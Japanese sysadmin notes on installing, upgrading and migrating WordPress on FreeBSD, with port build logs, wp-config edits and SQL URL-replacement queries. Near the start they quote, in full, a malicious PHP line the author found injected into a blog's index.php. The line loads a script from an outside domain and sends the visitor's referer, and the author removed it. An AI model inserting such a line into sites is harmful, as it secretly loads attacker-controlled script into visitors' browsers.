ブログ間で更新内容などのデータ交換のために、RSSを使用することがあるが、通常、
URL/?feed=rss2
という書式での交換が多いと思う、ていうか、OpnePNEはそうである。 で、有るとき、OpnePNE側に某ブログの更新が反映されなくなった。
いろいろ探ってみたところ、なんと、
某ブログURL/index.php echo'<script language="javascript" SRC="http://superpuperdomain.com/count.php?ref='.urlencode($_SERVER['HTTP_REFERER']) .'"></script>'; ?>
最終行に、こんなURLが追加されていた。 ファイルは、ユーザWWWで644であった。 書き換え(加え)られたためのXML構文エラーであったようだ。 この行を最後の?>を残して削除。さらにオーナをrootにかえておく。
http://ja.wordpress.org/install/ から3.1.3-ja をDL
Aggregate Theme をDLする。
/usr/local/www/apache22/data 以下に/wp ディレクトリを掘る。 DLしたファイルをコピー。
1.zip ファイルを空のディレクトリに展開します。 2.WordPad などのテキストエディタで wp-config-sample.php を開き、データベースの接続情報 (データベース名、ユーザー名、パスワード、およびホスト名) を記入します。 3.このファイルの名前を wp-config.php として保存します。 4.すべてのファイルをアップロードします。 5./wp-admin/install.php をブラウザで開きます。これによりあなたのブログに必要なデータベースのテーブルが設定されるはずです。 もしエラーが発生するようなら wp-config.php ファイルをもう一度確認し、再度このインストーラを試してください。 それでも失敗する場合は、できるだけ多くのデータを集めてサポートフォーラムに行ってください。 6.パスワードが自動的に生成され表示されます。これをメモしてください。 7.その後、このインストールスクリプトはあなたをログインページに案内するはずです。 ユーザ名 admin と、インストール中に生成されてメモしたパスワードを使ってログインしてください。 このパスワードはログイン後、管理画面の「ユーザー」をクリックして変更することができます。
という事なので、あらかじめ用意していたphpMyAdminでDBをつくる。
blackcube# cp -rp /usr/local/www/apache22/data/wp/AggregateTheme/Theme/Aggregate /usr/local/www/apache22/data/wp/blog/wp-content/themes/
piano2nd# portupgrade wordpress-3.0.1_1,1 ---> Upgrading 'wordpress-3.0.1_1,1' to 'wordpress-3.0.5,1' (www/wordpress) ---> Building '/usr/ports/www/wordpress' ===> Cleaning for wordpress-3.0.5,1 If you want to upgrade, you must read upgrade document.
===> License check disabled, port has not defined LICENSE => wordpress-3.0.5.tar.gz doesn't seem to exist in /usr/ports/distfiles/. => Attempting to fetch http://wordpress.org//wordpress-3.0.5.tar.gz fetch: http://wordpress.org/wordpress-3.0.5.tar.gz: size unknown fetch: http://wordpress.org/wordpress-3.0.5.tar.gz: size of remote file is not known wordpress-3.0.5.tar.gz 2620 kB 200 kBps ===> Extracting for wordpress-3.0.5,1 => SHA256 Checksum OK for wordpress-3.0.5.tar.gz. ===> Patching for wordpress-3.0.5,1 ===> Configuring for wordpress-3.0.5,1 ---> Backing up the old version ---> Uninstalling the old version ---> Deinstalling 'wordpress-3.0.1_1,1' pkg_delete: '/usr/local/www/data/wordpress/readme.html' fails original MD5 checksum - deleted anyway. pkg_delete: '/usr/local/www/data/wordpress/wp-admin/async-upload.php' fails original MD5 checksum - deleted anyway. pkg_delete: '/usr/local/www/data/wordpress/wp-admin/includes/dashboard.php' fails original MD5 checksum - deleted anyway. pkg_delete: '/usr/local/www/data/wordpress/wp-admin/includes/file.php' fails original MD5 checksum - deleted anyway. pkg_delete: '/usr/local/www/data/wordpress/wp-admin/includes/plugin.php' fails original MD5 checksum - deleted anyway. pkg_delete: '/usr/local/www/data/wordpress/wp-admin/includes/post.php' fails original MD5 checksum - deleted anyway. pkg_delete: '/usr/local/www/data/wordpress/wp-admin/includes/schema.php' fails original MD5 checksum - deleted anyway. pkg_delete: '/usr/local/www/data/wordpress/wp-admin/includes/template.php' fails original MD5 checksum - deleted anyway. pkg_delete: '/usr/local/www/data/wordpress/wp-admin/includes/update-core.php' fails original MD5 checksum - deleted anyway. pkg_delete: '/usr/local/www/data/wordpress/wp-admin/js/post.dev.js' fails original MD5 checksum - deleted anyway. pkg_delete: '/usr/local/www/data/wordpress/wp-admin/js/post.js' fails original MD5 checksum - deleted anyway. pkg_delete: '/usr/local/www/data/wordpress/wp-admin/plugins.php' fails original MD5 checksum - deleted anyway. pkg_delete: '/usr/local/www/data/wordpress/wp-admin/setup-config.php' fails original MD5 checksum - deleted anyway. pkg_delete: '/usr/local/www/data/wordpress/wp-config-sample.php' fails original MD5 checksum - deleted anyway. pkg_delete: '/usr/local/www/data/wordpress/wp-content/plugins/akismet/akismet.php' fails original MD5 checksum - deleted anyway. pkg_delete: '/usr/local/www/data/wordpress/wp-content/plugins/akismet/readme.txt' fails original MD5 checksum - deleted anyway. pkg_delete: '/usr/local/www/data/wordpress/wp-content/plugins/hello.php' fails original MD5 checksum - deleted anyway. pkg_delete: '/usr/local/www/data/wordpress/wp-content/themes/twentyten/languages/twentyten.pot' fails original MD5 checksum - deleted anyway. pkg_delete: '/usr/local/www/data/wordpress/wp-content/themes/twentyten/style.css' fails original MD5 checksum - deleted anyway. pkg_delete: '/usr/local/www/data/wordpress/wp-includes/canonical.php' fails original MD5 checksum - deleted anyway. pkg_delete: '/usr/local/www/data/wordpress/wp-includes/capabilities.php' fails original MD5 checksum - deleted anyway. pkg_delete: '/usr/local/www/data/wordpress/wp-includes/comment.php' fails original MD5 checksum - deleted anyway. pkg_delete: '/usr/local/www/data/wordpress/wp-includes/default-filters.php' fails original MD5 checksum - deleted anyway. pkg_delete: '/usr/local/www/data/wordpress/wp-includes/formatting.php' fails original MD5 checksum - deleted anyway. pkg_delete: '/usr/local/www/data/wordpress/wp-includes/functions.php' fails original MD5 checksum - deleted anyway. pkg_delete: '/usr/local/www/data/wordpress/wp-includes/kses.php' fails original MD5 checksum - deleted anyway. pkg_delete: '/usr/local/www/data/wordpress/wp-includes/load.php' fails original MD5 checksum - deleted anyway. pkg_delete: '/usr/local/www/data/wordpress/wp-includes/ms-files.php' fails original MD5 checksum - deleted anyway. pkg_delete: '/usr/local/www/data/wordpress/wp-includes/pluggable.php' fails original MD5 checksum - deleted anyway. pkg_delete: '/usr/local/www/data/wordpress/wp-includes/script-loader.php' fails original MD5 checksum - deleted anyway. pkg_delete: '/usr/local/www/data/wordpress/wp-includes/version.php' fails original MD5 checksum - deleted anyway. pkg_delete: '/usr/local/www/data/wordpress/wp-includes/wp-db.php' fails original MD5 checksum - deleted anyway. pkg_delete: '/usr/local/www/data/wordpress/wp-load.php' fails original MD5 checksum - deleted anyway. pkg_delete: '/usr/local/www/data/wordpress/xmlrpc.php' fails original MD5 checksum - deleted anyway. pkg_delete: unable to completely remove directory '/usr/local/www/data/wordpress/wp-admin/images' pkg_delete: unable to completely remove directory '/usr/local/www/data/wordpress/wp-admin' pkg_delete: unable to completely remove directory '/usr/local/www/data/wordpress/wp-content/plugins/akismet' pkg_delete: unable to completely remove directory '/usr/local/www/data/wordpress/wp-content/plugins' pkg_delete: unable to completely remove directory '/usr/local/www/data/wordpress/wp-content/themes/twentyten/languages' pkg_delete: unable to completely remove directory '/usr/local/www/data/wordpress/wp-content/themes/twentyten' pkg_delete: unable to completely remove directory '/usr/local/www/data/wordpress/wp-content/themes' pkg_delete: unable to completely remove directory '/usr/local/www/data/wordpress/wp-content' pkg_delete: unable to completely remove directory '/usr/local/www/data/wordpress' pkg_delete: couldn't entirely delete package (perhaps the packing list is incorrectly specified?) [Updating the pkgdb <format:bdb_btree> in /var/db/pkg ... - 142 packages found (-1 +0) (...) done] ---> Installing the new version via the port ===> Installing for wordpress-3.0.5,1 ===> wordpress-3.0.5,1 depends on file: /usr/local/include/php/main/php.h - found ===> wordpress-3.0.5,1 depends on file: /usr/local/lib/php/20090626/gd.so - found ===> wordpress-3.0.5,1 depends on file: /usr/local/lib/php/20090626/mysql.so - found ===> wordpress-3.0.5,1 depends on file: /usr/local/lib/php/20090626/tokenizer.so - found ===> wordpress-3.0.5,1 depends on file: /usr/local/lib/php/20090626/xml.so - found ===> wordpress-3.0.5,1 depends on file: /usr/local/lib/php/20090626/zip.so - found cd /usr/ports/www/wordpress/work/wordpress/ && (/usr/bin/find -s * -type f | /usr/bin/sed -e 's|^|%%WWWDIR%%/|'; /usr/bin/find -d . -type d | /usr/bin/sed -e 's|^\.|@dirrm %%WWWDIR%%|') > /usr/ports/www/wordpress/work/pkg-plist if [ ! -f /usr/ports/www/wordpress/work/wordpress/wp-config-sample.php ]; then /bin/cp /usr/ports/www/wordpress/work/wordpress/wp-config.php.sample /usr/ports/www/wordpress/work/wordpress/wp-config.php; fi ===> Generating temporary packing list ===> Checking if www/wordpress already installed install -d -g www -m 755 -o www /usr/local/www/wordpress/ /bin/cp -R /usr/ports/www/wordpress/work/wordpress/ /usr/local/www/wordpress/ /bin/mkdir -p /usr/local/share/doc/wordpress/ cd /usr/ports/www/wordpress/work/wordpress/ && install -o root -g wheel -m 444 license.txt readme.html /usr/local/share/doc/wordpress/ **** NOTE **** Before the first use of WordPress, copy wp-config-sample.php to wp-config.php in ${WWWDIR} and modify it to fit your MySQL. Maybe you need 'mysqladmin create wordpress' first. If you are upgrading from 1.x or 2.x to 3.x, please run http://your.site/wordpress/wp-admin/upgrade.php to upgrade to WordPress 3.x ===> Registering installation for wordpress-3.0.5,1 ===> Cleaning for wordpress-3.0.5,1 ---> Cleaning out obsolete shared libraries [Updating the pkgdb <format:bdb_btree> in /var/db/pkg ... - 143 packages found (-0 +1) . done]
新しいサーバの方で、
portinstall //wordpress
しておく。目的のURL、例えば http://pinao2nd.smb.net/wordpress で表示出来るように、
ln -s /usr/local/www/data/wordpress/ /usr/local/www/apache22/data/wordpress/
する。Wordpressを表示させて、ログインし、「一般設定」でURLを変更する。
それだけでは、コンテンツの画像などがリンク切れで表示できないので、phpMyAdminなどから、WP用のDBを編集する。
update テーブル名 set カラム名 = replace(カラム名,’置換前文字列’,'置換後文字列’);
ということで、以下のように実行。
update wp_posts set guid = replace(guid,'piano.smb.net' ,'piano2nd.smb.net' ); update wp_Counterize_Referers set name = replace(name,'piano.smb.net' ,'piano2nd.smb.net' ); update wp_posts set post_content = replace(post_content,'piano.smb.net' ,'piano2nd.smb.net' );
piano:root {249} % portinstall www/wordpress **** NOTE **** Before the first use of WordPress, copy wp-config-sample.php to wp-config.php in ${PREFIX}/${WORDPRESS} And Modify it to fit your MySQL. Maybe you need 'mysqladmin create wordpress' first If you are upgrading from 1.x or 2.0 to 2.x, please run http://your.site/wordpress/wp-admin/upgrade.php to upgrade to WordPress 2.5.1 ===> Registering installation for wordpress-2.7.1,1 ===> Cleaning for wordpress-2.7.1,1 piano:root {250} %
/usr/local/www/data/wordpress
piano:root {251} % cd /usr/local/www/data/wordpress piano:root {252} % cp wp-config-sample.php wp-config.php
vi wp-config.php
// ** MySQL settings - You can get this info from your web host ** // /** The name of the database for WordPress */ define('DB_NAME', 'WP'); /** MySQL database username */ define('DB_USER', 'wp'); /** MySQL database password */ define('DB_PASSWORD', 'xxxxxxxx');
piano:root {254} % ln -s /usr/local/www/data/wordpress /usr/local/www/apache22/data/wordpress
http://ja.wordpress.org/ から日本語のwordpress-2.7.1-ja.zipを取ってくる
wordpress-2.9.1-ja.tar.gz を取ってきて、/usr/home/tfc/public_html へcp
piano:root {250} % tar xvfzp wordpress-2.9.1-ja.tar.gz piano:root {250} % chown -R www:www wordpress piano:root {254} % cp wp-config-sample.php wp-config.php
データベース設定をして、phpmyadminで新しいDBを作成。 あとは、readme.html にアクセスしてインストールすれば、OK
2013-10-28 (月) 04:16:15